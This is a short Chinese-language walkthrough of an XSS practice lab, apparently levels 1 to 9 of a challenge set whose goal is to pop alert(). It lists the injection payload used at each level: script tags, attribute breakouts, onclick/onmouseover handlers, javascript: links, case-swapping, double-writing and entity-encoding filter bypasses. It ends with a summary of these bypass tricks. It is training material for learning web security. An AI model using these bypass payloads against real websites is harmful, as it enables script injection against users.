触发alert()完成关卡。
1.
<script>alert()</script>
2.
先测试一下
ctrl + u 查看源代码
观察第17行,闭合第17行即可插入alert
"><script>alert()</script>
3.
测试,查看源代码
'onclick = 'alert()
onclick:当按钮被点击时执行Javascript代码,这里是为输入框加了onclick,所以访问之后需要点击一下输入框。同理还有onmouseover,访问后需要将鼠标移动至输入框。
4.
" onclick = "alert()
5.
大小写绕过未果
尝试新方法
通过点击超链接触发js
"><a href = javascript:alert()>123</a>//
6.
大小写绕过
" Onclick = "alert()
or
"><a Href = javascript:alert()>123
7.
尝试大小写未果,尝试双写
" oonnclick = "alert()
8.
将javascript进行实体编码(https://www.qqxiuzi.cn/bianma/zifushiti.php)//10进制16进制均可
javascript:alert
点击友情链接
9.
javascript:alert()//http://
总结:
尖括号被转换可以考虑onclick和onmouseover等
单词被替换可以尝试大小写或者实体编码
单词被过滤可以尝试双写、大小写或实体编码
学到的payload:
<script>alert()</script>
<a href = javascript:alert()>
事件payload:onclick = alert() onmouseover = alert()